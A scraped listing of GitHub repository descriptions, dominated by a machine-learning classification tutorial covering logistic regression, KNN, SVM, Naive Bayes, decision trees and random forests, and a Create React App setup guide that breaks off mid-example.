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editor-bootstrap / Vim BootstrapVim Bootstrap is a generator that provides a simple method of generating a configuration for vim / neovim.
moderndive / ModernDive BookStatistical Inference via Data Science: A ModernDive into R and the Tidyverse
lyonlai / Bootstrap PaginatorBootstrap Paginator is a jQuery plugin that simplifies the rendering of Bootstrap Pagination component. It provides methods to automates the update of the pagination status and also some events to notify the status changes within the component.
sayantann11 / All Classification Templetes For MLClassification - Machine Learning This is ‘Classification’ tutorial which is a part of the Machine Learning course offered by Simplilearn. We will learn Classification algorithms, types of classification algorithms, support vector machines(SVM), Naive Bayes, Decision Tree and Random Forest Classifier in this tutorial. Objectives Let us look at some of the objectives covered under this section of Machine Learning tutorial. Define Classification and list its algorithms Describe Logistic Regression and Sigmoid Probability Explain K-Nearest Neighbors and KNN classification Understand Support Vector Machines, Polynomial Kernel, and Kernel Trick Analyze Kernel Support Vector Machines with an example Implement the Naïve Bayes Classifier Demonstrate Decision Tree Classifier Describe Random Forest Classifier Classification: Meaning Classification is a type of supervised learning. It specifies the class to which data elements belong to and is best used when the output has finite and discrete values. It predicts a class for an input variable as well. There are 2 types of Classification: Binomial Multi-Class Classification: Use Cases Some of the key areas where classification cases are being used: To find whether an email received is a spam or ham To identify customer segments To find if a bank loan is granted To identify if a kid will pass or fail in an examination Classification: Example Social media sentiment analysis has two potential outcomes, positive or negative, as displayed by the chart given below. https://www.simplilearn.com/ice9/free_resources_article_thumb/classification-example-machine-learning.JPG This chart shows the classification of the Iris flower dataset into its three sub-species indicated by codes 0, 1, and 2. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-flower-dataset-graph.JPG The test set dots represent the assignment of new test data points to one class or the other based on the trained classifier model. Types of Classification Algorithms Let’s have a quick look into the types of Classification Algorithm below. Linear Models Logistic Regression Support Vector Machines Nonlinear models K-nearest Neighbors (KNN) Kernel Support Vector Machines (SVM) Naïve Bayes Decision Tree Classification Random Forest Classification Logistic Regression: Meaning Let us understand the Logistic Regression model below. This refers to a regression model that is used for classification. This method is widely used for binary classification problems. It can also be extended to multi-class classification problems. Here, the dependent variable is categorical: y ϵ {0, 1} A binary dependent variable can have only two values, like 0 or 1, win or lose, pass or fail, healthy or sick, etc In this case, you model the probability distribution of output y as 1 or 0. This is called the sigmoid probability (σ). If σ(θ Tx) > 0.5, set y = 1, else set y = 0 Unlike Linear Regression (and its Normal Equation solution), there is no closed form solution for finding optimal weights of Logistic Regression. Instead, you must solve this with maximum likelihood estimation (a probability model to detect the maximum likelihood of something happening). It can be used to calculate the probability of a given outcome in a binary model, like the probability of being classified as sick or passing an exam. https://www.simplilearn.com/ice9/free_resources_article_thumb/logistic-regression-example-graph.JPG Sigmoid Probability The probability in the logistic regression is often represented by the Sigmoid function (also called the logistic function or the S-curve): https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-function-machine-learning.JPG In this equation, t represents data values * the number of hours studied and S(t) represents the probability of passing the exam. Assume sigmoid function: https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-probability-machine-learning.JPG g(z) tends toward 1 as z -> infinity , and g(z) tends toward 0 as z -> infinity K-nearest Neighbors (KNN) K-nearest Neighbors algorithm is used to assign a data point to clusters based on similarity measurement. It uses a supervised method for classification. The steps to writing a k-means algorithm are as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-distribution-graph-machine-learning.JPG Choose the number of k and a distance metric. (k = 5 is common) Find k-nearest neighbors of the sample that you want to classify Assign the class label by majority vote. KNN Classification A new input point is classified in the category such that it has the most number of neighbors from that category. For example: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-classification-machine-learning.JPG Classify a patient as high risk or low risk. Mark email as spam or ham. Keen on learning about Classification Algorithms in Machine Learning? Click here! Support Vector Machine (SVM) Let us understand Support Vector Machine (SVM) in detail below. SVMs are classification algorithms used to assign data to various classes. They involve detecting hyperplanes which segregate data into classes. SVMs are very versatile and are also capable of performing linear or nonlinear classification, regression, and outlier detection. Once ideal hyperplanes are discovered, new data points can be easily classified. https://www.simplilearn.com/ice9/free_resources_article_thumb/support-vector-machines-graph-machine-learning.JPG The optimization objective is to find “maximum margin hyperplane” that is farthest from the closest points in the two classes (these points are called support vectors). In the given figure, the middle line represents the hyperplane. SVM Example Let’s look at this image below and have an idea about SVM in general. Hyperplanes with larger margins have lower generalization error. The positive and negative hyperplanes are represented by: https://www.simplilearn.com/ice9/free_resources_article_thumb/positive-negative-hyperplanes-machine-learning.JPG Classification of any new input sample xtest : If w0 + wTxtest > 1, the sample xtest is said to be in the class toward the right of the positive hyperplane. If w0 + wTxtest < -1, the sample xtest is said to be in the class toward the left of the negative hyperplane. When you subtract the two equations, you get: https://www.simplilearn.com/ice9/free_resources_article_thumb/equation-subtraction-machine-learning.JPG Length of vector w is (L2 norm length): https://www.simplilearn.com/ice9/free_resources_article_thumb/length-of-vector-machine-learning.JPG You normalize with the length of w to arrive at: https://www.simplilearn.com/ice9/free_resources_article_thumb/normalize-equation-machine-learning.JPG SVM: Hard Margin Classification Given below are some points to understand Hard Margin Classification. The left side of equation SVM-1 given above can be interpreted as the distance between the positive (+ve) and negative (-ve) hyperplanes; in other words, it is the margin that can be maximized. Hence the objective of the function is to maximize with the constraint that the samples are classified correctly, which is represented as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-machine-learning.JPG This means that you are minimizing ‖w‖. This also means that all positive samples are on one side of the positive hyperplane and all negative samples are on the other side of the negative hyperplane. This can be written concisely as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-formula.JPG Minimizing ‖w‖ is the same as minimizing. This figure is better as it is differentiable even at w = 0. The approach listed above is called “hard margin linear SVM classifier.” SVM: Soft Margin Classification Given below are some points to understand Soft Margin Classification. To allow for linear constraints to be relaxed for nonlinearly separable data, a slack variable is introduced. (i) measures how much ith instance is allowed to violate the margin. The slack variable is simply added to the linear constraints. https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-machine-learning.JPG Subject to the above constraints, the new objective to be minimized becomes: https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-formula.JPG You have two conflicting objectives now—minimizing slack variable to reduce margin violations and minimizing to increase the margin. The hyperparameter C allows us to define this trade-off. Large values of C correspond to larger error penalties (so smaller margins), whereas smaller values of C allow for higher misclassification errors and larger margins. https://www.simplilearn.com/ice9/free_resources_article_thumb/machine-learning-certification-video-preview.jpg SVM: Regularization The concept of C is the reverse of regularization. Higher C means lower regularization, which increases bias and lowers the variance (causing overfitting). https://www.simplilearn.com/ice9/free_resources_article_thumb/concept-of-c-graph-machine-learning.JPG IRIS Data Set The Iris dataset contains measurements of 150 IRIS flowers from three different species: Setosa Versicolor Viriginica Each row represents one sample. Flower measurements in centimeters are stored as columns. These are called features. IRIS Data Set: SVM Let’s train an SVM model using sci-kit-learn for the Iris dataset: https://www.simplilearn.com/ice9/free_resources_article_thumb/svm-model-graph-machine-learning.JPG Nonlinear SVM Classification There are two ways to solve nonlinear SVMs: by adding polynomial features by adding similarity features Polynomial features can be added to datasets; in some cases, this can create a linearly separable dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/nonlinear-classification-svm-machine-learning.JPG In the figure on the left, there is only 1 feature x1. This dataset is not linearly separable. If you add x2 = (x1)2 (figure on the right), the data becomes linearly separable. Polynomial Kernel In sci-kit-learn, one can use a Pipeline class for creating polynomial features. Classification results for the Moons dataset are shown in the figure. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-machine-learning.JPG Polynomial Kernel with Kernel Trick Let us look at the image below and understand Kernel Trick in detail. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-with-kernel-trick.JPG For large dimensional datasets, adding too many polynomial features can slow down the model. You can apply a kernel trick with the effect of polynomial features without actually adding them. The code is shown (SVC class) below trains an SVM classifier using a 3rd-degree polynomial kernel but with a kernel trick. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-equation-machine-learning.JPG The hyperparameter coefθ controls the influence of high-degree polynomials. Kernel SVM Let us understand in detail about Kernel SVM. Kernel SVMs are used for classification of nonlinear data. In the chart, nonlinear data is projected into a higher dimensional space via a mapping function where it becomes linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-machine-learning.JPG In the higher dimension, a linear separating hyperplane can be derived and used for classification. A reverse projection of the higher dimension back to original feature space takes it back to nonlinear shape. As mentioned previously, SVMs can be kernelized to solve nonlinear classification problems. You can create a sample dataset for XOR gate (nonlinear problem) from NumPy. 100 samples will be assigned the class sample 1, and 100 samples will be assigned the class label -1. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-graph-machine-learning.JPG As you can see, this data is not linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-non-separable.JPG You now use the kernel trick to classify XOR dataset created earlier. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-xor-machine-learning.JPG Naïve Bayes Classifier What is Naive Bayes Classifier? Have you ever wondered how your mail provider implements spam filtering or how online news channels perform news text classification or even how companies perform sentiment analysis of their audience on social media? All of this and more are done through a machine learning algorithm called Naive Bayes Classifier. Naive Bayes Named after Thomas Bayes from the 1700s who first coined this in the Western literature. Naive Bayes classifier works on the principle of conditional probability as given by the Bayes theorem. Advantages of Naive Bayes Classifier Listed below are six benefits of Naive Bayes Classifier. Very simple and easy to implement Needs less training data Handles both continuous and discrete data Highly scalable with the number of predictors and data points As it is fast, it can be used in real-time predictions Not sensitive to irrelevant features Bayes Theorem We will understand Bayes Theorem in detail from the points mentioned below. According to the Bayes model, the conditional probability P(Y|X) can be calculated as: P(Y|X) = P(X|Y)P(Y) / P(X) This means you have to estimate a very large number of P(X|Y) probabilities for a relatively small vector space X. For example, for a Boolean Y and 30 possible Boolean attributes in the X vector, you will have to estimate 3 billion probabilities P(X|Y). To make it practical, a Naïve Bayes classifier is used, which assumes conditional independence of P(X) to each other, with a given value of Y. This reduces the number of probability estimates to 2*30=60 in the above example. Naïve Bayes Classifier for SMS Spam Detection Consider a labeled SMS database having 5574 messages. It has messages as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-machine-learning.JPG Each message is marked as spam or ham in the data set. Let’s train a model with Naïve Bayes algorithm to detect spam from ham. The message lengths and their frequency (in the training dataset) are as shown below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-spam-detection.JPG Analyze the logic you use to train an algorithm to detect spam: Split each message into individual words/tokens (bag of words). Lemmatize the data (each word takes its base form, like “walking” or “walked” is replaced with “walk”). Convert data to vectors using scikit-learn module CountVectorizer. Run TFIDF to remove common words like “is,” “are,” “and.” Now apply scikit-learn module for Naïve Bayes MultinomialNB to get the Spam Detector. This spam detector can then be used to classify a random new message as spam or ham. Next, the accuracy of the spam detector is checked using the Confusion Matrix. For the SMS spam example above, the confusion matrix is shown on the right. Accuracy Rate = Correct / Total = (4827 + 592)/5574 = 97.21% Error Rate = Wrong / Total = (155 + 0)/5574 = 2.78% https://www.simplilearn.com/ice9/free_resources_article_thumb/confusion-matrix-machine-learning.JPG Although confusion Matrix is useful, some more precise metrics are provided by Precision and Recall. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-recall-matrix-machine-learning.JPG Precision refers to the accuracy of positive predictions. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-formula-machine-learning.JPG Recall refers to the ratio of positive instances that are correctly detected by the classifier (also known as True positive rate or TPR). https://www.simplilearn.com/ice9/free_resources_article_thumb/recall-formula-machine-learning.JPG Precision/Recall Trade-off To detect age-appropriate videos for kids, you need high precision (low recall) to ensure that only safe videos make the cut (even though a few safe videos may be left out). The high recall is needed (low precision is acceptable) in-store surveillance to catch shoplifters; a few false alarms are acceptable, but all shoplifters must be caught. Learn about Naive Bayes in detail. Click here! Decision Tree Classifier Some aspects of the Decision Tree Classifier mentioned below are. Decision Trees (DT) can be used both for classification and regression. The advantage of decision trees is that they require very little data preparation. They do not require feature scaling or centering at all. They are also the fundamental components of Random Forests, one of the most powerful ML algorithms. Unlike Random Forests and Neural Networks (which do black-box modeling), Decision Trees are white box models, which means that inner workings of these models are clearly understood. In the case of classification, the data is segregated based on a series of questions. Any new data point is assigned to the selected leaf node. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-machine-learning.JPG Start at the tree root and split the data on the feature using the decision algorithm, resulting in the largest information gain (IG). This splitting procedure is then repeated in an iterative process at each child node until the leaves are pure. This means that the samples at each node belonging to the same class. In practice, you can set a limit on the depth of the tree to prevent overfitting. The purity is compromised here as the final leaves may still have some impurity. The figure shows the classification of the Iris dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-graph.JPG IRIS Decision Tree Let’s build a Decision Tree using scikit-learn for the Iris flower dataset and also visualize it using export_graphviz API. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-machine-learning.JPG The output of export_graphviz can be converted into png format: https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-output.JPG Sample attribute stands for the number of training instances the node applies to. Value attribute stands for the number of training instances of each class the node applies to. Gini impurity measures the node’s impurity. A node is “pure” (gini=0) if all training instances it applies to belong to the same class. https://www.simplilearn.com/ice9/free_resources_article_thumb/impurity-formula-machine-learning.JPG For example, for Versicolor (green color node), the Gini is 1-(0/54)2 -(49/54)2 -(5/54) 2 ≈ 0.168 https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-sample.JPG Decision Boundaries Let us learn to create decision boundaries below. For the first node (depth 0), the solid line splits the data (Iris-Setosa on left). Gini is 0 for Setosa node, so no further split is possible. The second node (depth 1) splits the data into Versicolor and Virginica. If max_depth were set as 3, a third split would happen (vertical dotted line). https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-boundaries.JPG For a sample with petal length 5 cm and petal width 1.5 cm, the tree traverses to depth 2 left node, so the probability predictions for this sample are 0% for Iris-Setosa (0/54), 90.7% for Iris-Versicolor (49/54), and 9.3% for Iris-Virginica (5/54) CART Training Algorithm Scikit-learn uses Classification and Regression Trees (CART) algorithm to train Decision Trees. CART algorithm: Split the data into two subsets using a single feature k and threshold tk (example, petal length < “2.45 cm”). This is done recursively for each node. k and tk are chosen such that they produce the purest subsets (weighted by their size). The objective is to minimize the cost function as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/cart-training-algorithm-machine-learning.JPG The algorithm stops executing if one of the following situations occurs: max_depth is reached No further splits are found for each node Other hyperparameters may be used to stop the tree: min_samples_split min_samples_leaf min_weight_fraction_leaf max_leaf_nodes Gini Impurity or Entropy Entropy is one more measure of impurity and can be used in place of Gini. https://www.simplilearn.com/ice9/free_resources_article_thumb/gini-impurity-entrophy.JPG It is a degree of uncertainty, and Information Gain is the reduction that occurs in entropy as one traverses down the tree. Entropy is zero for a DT node when the node contains instances of only one class. Entropy for depth 2 left node in the example given above is: https://www.simplilearn.com/ice9/free_resources_article_thumb/entrophy-for-depth-2.JPG Gini and Entropy both lead to similar trees. DT: Regularization The following figure shows two decision trees on the moons dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/dt-regularization-machine-learning.JPG The decision tree on the right is restricted by min_samples_leaf = 4. The model on the left is overfitting, while the model on the right generalizes better. Random Forest Classifier Let us have an understanding of Random Forest Classifier below. A random forest can be considered an ensemble of decision trees (Ensemble learning). Random Forest algorithm: Draw a random bootstrap sample of size n (randomly choose n samples from the training set). Grow a decision tree from the bootstrap sample. At each node, randomly select d features. Split the node using the feature that provides the best split according to the objective function, for instance by maximizing the information gain. Repeat the steps 1 to 2 k times. (k is the number of trees you want to create, using a subset of samples) Aggregate the prediction by each tree for a new data point to assign the class label by majority vote (pick the group selected by the most number of trees and assign new data point to that group). Random Forests are opaque, which means it is difficult to visualize their inner workings. https://www.simplilearn.com/ice9/free_resources_article_thumb/random-forest-classifier-graph.JPG However, the advantages outweigh their limitations since you do not have to worry about hyperparameters except k, which stands for the number of decision trees to be created from a subset of samples. RF is quite robust to noise from the individual decision trees. Hence, you need not prune individual decision trees. The larger the number of decision trees, the more accurate the Random Forest prediction is. (This, however, comes with higher computation cost). Key Takeaways Let us quickly run through what we have learned so far in this Classification tutorial. Classification algorithms are supervised learning methods to split data into classes. They can work on Linear Data as well as Nonlinear Data. Logistic Regression can classify data based on weighted parameters and sigmoid conversion to calculate the probability of classes. K-nearest Neighbors (KNN) algorithm uses similar features to classify data. Support Vector Machines (SVMs) classify data by detecting the maximum margin hyperplane between data classes. Naïve Bayes, a simplified Bayes Model, can help classify data using conditional probability models. Decision Trees are powerful classifiers and use tree splitting logic until pure or somewhat pure leaf node classes are attained. Random Forests apply Ensemble Learning to Decision Trees for more accurate classification predictions. Conclusion This completes ‘Classification’ tutorial. In the next tutorial, we will learn 'Unsupervised Learning with Clustering.'
ctrlplusb / React Async BootstrapperExecute a bootstrap method on your React/Preact components. Useful for data prefetching and other activities.
rramatchandran / Big O Performance Java# big-o-performance A simple html app to demonstrate performance costs of data structures. - Clone the project - Navigate to the root of the project in a termina or command prompt - Run 'npm install' - Run 'npm start' - Go to the URL specified in the terminal or command prompt to try out the app. # This app was created from the Create React App NPM. Below are instructions from that project. Below you will find some information on how to perform common tasks. You can find the most recent version of this guide [here](https://github.com/facebookincubator/create-react-app/blob/master/template/README.md). ## Table of Contents - [Updating to New Releases](#updating-to-new-releases) - [Sending Feedback](#sending-feedback) - [Folder Structure](#folder-structure) - [Available Scripts](#available-scripts) - [npm start](#npm-start) - [npm run build](#npm-run-build) - [npm run eject](#npm-run-eject) - [Displaying Lint Output in the Editor](#displaying-lint-output-in-the-editor) - [Installing a Dependency](#installing-a-dependency) - [Importing a Component](#importing-a-component) - [Adding a Stylesheet](#adding-a-stylesheet) - [Post-Processing CSS](#post-processing-css) - [Adding Images and Fonts](#adding-images-and-fonts) - [Adding Bootstrap](#adding-bootstrap) - [Adding Flow](#adding-flow) - [Adding Custom Environment Variables](#adding-custom-environment-variables) - [Integrating with a Node Backend](#integrating-with-a-node-backend) - [Proxying API Requests in Development](#proxying-api-requests-in-development) - [Deployment](#deployment) - [Now](#now) - [Heroku](#heroku) - [Surge](#surge) - [GitHub Pages](#github-pages) - [Something Missing?](#something-missing) ## Updating to New Releases Create React App is divided into two packages: * `create-react-app` is a global command-line utility that you use to create new projects. * `react-scripts` is a development dependency in the generated projects (including this one). You almost never need to update `create-react-app` itself: it’s delegates all the setup to `react-scripts`. When you run `create-react-app`, it always creates the project with the latest version of `react-scripts` so you’ll get all the new features and improvements in newly created apps automatically. To update an existing project to a new version of `react-scripts`, [open the changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md), find the version you’re currently on (check `package.json` in this folder if you’re not sure), and apply the migration instructions for the newer versions. In most cases bumping the `react-scripts` version in `package.json` and running `npm install` in this folder should be enough, but it’s good to consult the [changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md) for potential breaking changes. We commit to keeping the breaking changes minimal so you can upgrade `react-scripts` painlessly. ## Sending Feedback We are always open to [your feedback](https://github.com/facebookincubator/create-react-app/issues). ## Folder Structure After creation, your project should look like this: ``` my-app/ README.md index.html favicon.ico node_modules/ package.json src/ App.css App.js index.css index.js logo.svg ``` For the project to build, **these files must exist with exact filenames**: * `index.html` is the page template; * `favicon.ico` is the icon you see in the browser tab; * `src/index.js` is the JavaScript entry point. You can delete or rename the other files. You may create subdirectories inside `src`. For faster rebuilds, only files inside `src` are processed by Webpack. You need to **put any JS and CSS files inside `src`**, or Webpack won’t see them. You can, however, create more top-level directories. They will not be included in the production build so you can use them for things like documentation. ## Available Scripts In the project directory, you can run: ### `npm start` Runs the app in the development mode.<br> Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br> You will also see any lint errors in the console. ### `npm run build` Builds the app for production to the `build` folder.<br> It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed! ### `npm run eject` **Note: this is a one-way operation. Once you `eject`, you can’t go back!** If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. Instead, it will copy all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. ## Displaying Lint Output in the Editor >Note: this feature is available with `react-scripts@0.2.0` and higher. Some editors, including Sublime Text, Atom, and Visual Studio Code, provide plugins for ESLint. They are not required for linting. You should see the linter output right in your terminal as well as the browser console. However, if you prefer the lint results to appear right in your editor, there are some extra steps you can do. You would need to install an ESLint plugin for your editor first. >**A note for Atom `linter-eslint` users** >If you are using the Atom `linter-eslint` plugin, make sure that **Use global ESLint installation** option is checked: ><img src="http://i.imgur.com/yVNNHJM.png" width="300"> Then make sure `package.json` of your project ends with this block: ```js { // ... "eslintConfig": { "extends": "./node_modules/react-scripts/config/eslint.js" } } ``` Projects generated with `react-scripts@0.2.0` and higher should already have it. If you don’t need ESLint integration with your editor, you can safely delete those three lines from your `package.json`. Finally, you will need to install some packages *globally*: ```sh npm install -g eslint babel-eslint eslint-plugin-react eslint-plugin-import eslint-plugin-jsx-a11y eslint-plugin-flowtype ``` We recognize that this is suboptimal, but it is currently required due to the way we hide the ESLint dependency. The ESLint team is already [working on a solution to this](https://github.com/eslint/eslint/issues/3458) so this may become unnecessary in a couple of months. ## Installing a Dependency The generated project includes React and ReactDOM as dependencies. It also includes a set of scripts used by Create React App as a development dependency. You may install other dependencies (for example, React Router) with `npm`: ``` npm install --save <library-name> ``` ## Importing a Component This project setup supports ES6 modules thanks to Babel. While you can still use `require()` and `module.exports`, we encourage you to use [`import` and `export`](http://exploringjs.com/es6/ch_modules.html) instead. For example: ### `Button.js` ```js import React, { Component } from 'react'; class Button extends Component { render() { // ... } } export default Button; // Don’t forget to use export default! ``` ### `DangerButton.js` ```js import React, { Component } from 'react'; import Button from './Button'; // Import a component from another file class DangerButton extends Component { render() { return <Button color="red" />; } } export default DangerButton; ``` Be aware of the [difference between default and named exports](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281). It is a common source of mistakes. We suggest that you stick to using default imports and exports when a module only exports a single thing (for example, a component). That’s what you get when you use `export default Button` and `import Button from './Button'`. Named exports are useful for utility modules that export several functions. A module may have at most one default export and as many named exports as you like. Learn more about ES6 modules: * [When to use the curly braces?](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281) * [Exploring ES6: Modules](http://exploringjs.com/es6/ch_modules.html) * [Understanding ES6: Modules](https://leanpub.com/understandinges6/read#leanpub-auto-encapsulating-code-with-modules) ## Adding a Stylesheet This project setup uses [Webpack](https://webpack.github.io/) for handling all assets. Webpack offers a custom way of “extending” the concept of `import` beyond JavaScript. To express that a JavaScript file depends on a CSS file, you need to **import the CSS from the JavaScript file**: ### `Button.css` ```css .Button { padding: 20px; } ``` ### `Button.js` ```js import React, { Component } from 'react'; import './Button.css'; // Tell Webpack that Button.js uses these styles class Button extends Component { render() { // You can use them as regular CSS styles return <div className="Button" />; } } ``` **This is not required for React** but many people find this feature convenient. You can read about the benefits of this approach [here](https://medium.com/seek-ui-engineering/block-element-modifying-your-javascript-components-d7f99fcab52b). However you should be aware that this makes your code less portable to other build tools and environments than Webpack. In development, expressing dependencies this way allows your styles to be reloaded on the fly as you edit them. In production, all CSS files will be concatenated into a single minified `.css` file in the build output. If you are concerned about using Webpack-specific semantics, you can put all your CSS right into `src/index.css`. It would still be imported from `src/index.js`, but you could always remove that import if you later migrate to a different build tool. ## Post-Processing CSS This project setup minifies your CSS and adds vendor prefixes to it automatically through [Autoprefixer](https://github.com/postcss/autoprefixer) so you don’t need to worry about it. For example, this: ```css .App { display: flex; flex-direction: row; align-items: center; } ``` becomes this: ```css .App { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } ``` There is currently no support for preprocessors such as Less, or for sharing variables across CSS files. ## Adding Images and Fonts With Webpack, using static assets like images and fonts works similarly to CSS. You can **`import` an image right in a JavaScript module**. This tells Webpack to include that image in the bundle. Unlike CSS imports, importing an image or a font gives you a string value. This value is the final image path you can reference in your code. Here is an example: ```js import React from 'react'; import logo from './logo.png'; // Tell Webpack this JS file uses this image console.log(logo); // /logo.84287d09.png function Header() { // Import result is the URL of your image return <img src={logo} alt="Logo" />; } export default function Header; ``` This works in CSS too: ```css .Logo { background-image: url(./logo.png); } ``` Webpack finds all relative module references in CSS (they start with `./`) and replaces them with the final paths from the compiled bundle. If you make a typo or accidentally delete an important file, you will see a compilation error, just like when you import a non-existent JavaScript module. The final filenames in the compiled bundle are generated by Webpack from content hashes. If the file content changes in the future, Webpack will give it a different name in production so you don’t need to worry about long-term caching of assets. Please be advised that this is also a custom feature of Webpack. **It is not required for React** but many people enjoy it (and React Native uses a similar mechanism for images). However it may not be portable to some other environments, such as Node.js and Browserify. If you prefer to reference static assets in a more traditional way outside the module system, please let us know [in this issue](https://github.com/facebookincubator/create-react-app/issues/28), and we will consider support for this. ## Adding Bootstrap You don’t have to use [React Bootstrap](https://react-bootstrap.github.io) together with React but it is a popular library for integrating Bootstrap with React apps. If you need it, you can integrate it with Create React App by following these steps: Install React Bootstrap and Bootstrap from NPM. React Bootstrap does not include Bootstrap CSS so this needs to be installed as well: ``` npm install react-bootstrap --save npm install bootstrap@3 --save ``` Import Bootstrap CSS and optionally Bootstrap theme CSS in the ```src/index.js``` file: ```js import 'bootstrap/dist/css/bootstrap.css'; import 'bootstrap/dist/css/bootstrap-theme.css'; ``` Import required React Bootstrap components within ```src/App.js``` file or your custom component files: ```js import { Navbar, Jumbotron, Button } from 'react-bootstrap'; ``` Now you are ready to use the imported React Bootstrap components within your component hierarchy defined in the render method. Here is an example [`App.js`](https://gist.githubusercontent.com/gaearon/85d8c067f6af1e56277c82d19fd4da7b/raw/6158dd991b67284e9fc8d70b9d973efe87659d72/App.js) redone using React Bootstrap. ## Adding Flow Flow typing is currently [not supported out of the box](https://github.com/facebookincubator/create-react-app/issues/72) with the default `.flowconfig` generated by Flow. If you run it, you might get errors like this: ```js node_modules/fbjs/lib/Deferred.js.flow:60 60: Promise.prototype.done.apply(this._promise, arguments); ^^^^ property `done`. Property not found in 495: declare class Promise<+R> { ^ Promise. See lib: /private/tmp/flow/flowlib_34952d31/core.js:495 node_modules/fbjs/lib/shallowEqual.js.flow:29 29: return x !== 0 || 1 / (x: $FlowIssue) === 1 / (y: $FlowIssue); ^^^^^^^^^^ identifier `$FlowIssue`. Could not resolve name src/App.js:3 3: import logo from './logo.svg'; ^^^^^^^^^^^^ ./logo.svg. Required module not found src/App.js:4 4: import './App.css'; ^^^^^^^^^^^ ./App.css. Required module not found src/index.js:5 5: import './index.css'; ^^^^^^^^^^^^^ ./index.css. Required module not found ``` To fix this, change your `.flowconfig` to look like this: ```ini [libs] ./node_modules/fbjs/flow/lib [options] esproposal.class_static_fields=enable esproposal.class_instance_fields=enable module.name_mapper='^\(.*\)\.css$' -> 'react-scripts/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> 'react-scripts/config/flow/file' suppress_type=$FlowIssue suppress_type=$FlowFixMe ``` Re-run flow, and you shouldn’t get any extra issues. If you later `eject`, you’ll need to replace `react-scripts` references with the `<PROJECT_ROOT>` placeholder, for example: ```ini module.name_mapper='^\(.*\)\.css$' -> '<PROJECT_ROOT>/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> '<PROJECT_ROOT>/config/flow/file' ``` We will consider integrating more tightly with Flow in the future so that you don’t have to do this. ## Adding Custom Environment Variables >Note: this feature is available with `react-scripts@0.2.3` and higher. Your project can consume variables declared in your environment as if they were declared locally in your JS files. By default you will have `NODE_ENV` defined for you, and any other environment variables starting with `REACT_APP_`. These environment variables will be defined for you on `process.env`. For example, having an environment variable named `REACT_APP_SECRET_CODE` will be exposed in your JS as `process.env.REACT_APP_SECRET_CODE`, in addition to `process.env.NODE_ENV`. These environment variables can be useful for displaying information conditionally based on where the project is deployed or consuming sensitive data that lives outside of version control. First, you need to have environment variables defined, which can vary between OSes. For example, let's say you wanted to consume a secret defined in the environment inside a `<form>`: ```jsx render() { return ( <div> <small>You are running this application in <b>{process.env.NODE_ENV}</b> mode.</small> <form> <input type="hidden" defaultValue={process.env.REACT_APP_SECRET_CODE} /> </form> </div> ); } ``` The above form is looking for a variable called `REACT_APP_SECRET_CODE` from the environment. In order to consume this value, we need to have it defined in the environment: ### Windows (cmd.exe) ```cmd set REACT_APP_SECRET_CODE=abcdef&&npm start ``` (Note: the lack of whitespace is intentional.) ### Linux, OS X (Bash) ```bash REACT_APP_SECRET_CODE=abcdef npm start ``` > Note: Defining environment variables in this manner is temporary for the life of the shell session. Setting permanent environment variables is outside the scope of these docs. With our environment variable defined, we start the app and consume the values. Remember that the `NODE_ENV` variable will be set for you automatically. When you load the app in the browser and inspect the `<input>`, you will see its value set to `abcdef`, and the bold text will show the environment provided when using `npm start`: ```html <div> <small>You are running this application in <b>development</b> mode.</small> <form> <input type="hidden" value="abcdef" /> </form> </div> ``` Having access to the `NODE_ENV` is also useful for performing actions conditionally: ```js if (process.env.NODE_ENV !== 'production') { 